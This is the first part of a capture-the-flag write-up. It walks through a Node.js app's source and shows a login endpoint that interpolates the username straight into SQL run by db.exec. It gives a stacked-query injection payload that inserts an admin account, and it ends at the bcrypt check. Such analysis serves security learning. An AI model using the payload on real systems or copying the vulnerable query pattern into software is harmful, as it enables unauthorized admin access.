Part 1

Starting the challenge and reading the source code of server.js, you can observe that the application uses prepared queries ‘almost’ everywhere in the code.

For example :

Register endpoint

app.post('/api/register', async (req, res) => {
  try {
    const { username, password } = req.body;
    
    if (!username || !password) {
      return res.status(400).json({ error: 'Username and password are required' });
    }

    const hashedPassword = await bcrypt.hash(password, 10);
    
    db.run('INSERT INTO users (username, password, role) VALUES (?, ?, ?)', 
      [username, hashedPassword, 'user'], 
      function(err) {
        if (err) {
          if (err.message.includes('UNIQUE constraint failed')) {
            return res.status(400).json({ error: 'Username already exists' });
          }
          return res.status(500).json({ error: err.message });
        }

Tasks endpoint

app.get('/api/tasks', authenticateToken, authorizeRole('admin'), (req, res) => {
  let query = 'SELECT * FROM tasks';
  let params = [];
  
  if (req.user.role !== 'admin') {
    query += ' WHERE user_id = ?';
    params.push(req.user.id);
  }
  
  db.all(query, params, (err, tasks) => {
    if (err) {
      return res.status(500).json({ error: err.message });
    }
    res.json(tasks);
  });
});

However, that’s not the case for the Login endpoint.

app.post('/api/login', (req, res) => {
  const { username, password } = req.body;
  
  if (!username || !password) {
    return res.status(400).json({ error: 'Username and password are required' });
  }
  db.exec(`SELECT last_login FROM users WHERE username = '${username}' ;`, (err) => {
    if (err) {
      return res.status(500).json({ error: err.message });
    }

When querying the last_login column from the database, the user input is directly embedded into the SQL string. That’s clearly vulnerable to SQL Injection.

BurpSuiteCommunity_4qBogRvvWv.png

Now, because the application is using db.exec, this is considered a Stacked Queries SQL Injection.

Which basically means you can terminate the current query and start another one by using ; :

'; INSERT INTO users(username,password,role) VALUES ('yonkoadmin', 'password', 'admin') --

But you can’t simply do that, because of the bcrypt.compare in the Login endpoint :

app.post('/api/login', (req, res) => {
  const { username, password } = req.body;
  
  if (!username || !password) {
    return res.status(400).json({ error: 'Username and password are required' });
  }
  db.exec(`SELECT last_login FROM users WHERE username = '${username}' ;`, (err) => {
    if (err) {
      return res.status(500).json({ error: err.message });
    }
    db.get('SELECT * FROM users WHERE username = ?', [username], async (err, user) => {  
      if (err) {
        return res.status(500).json({ error: err.message });
      }
      if (!user) {
        return res.status(401).json({ error: 'Invalid credentials' });
      }
      const validPassword = await bcrypt.compare(password, user.password);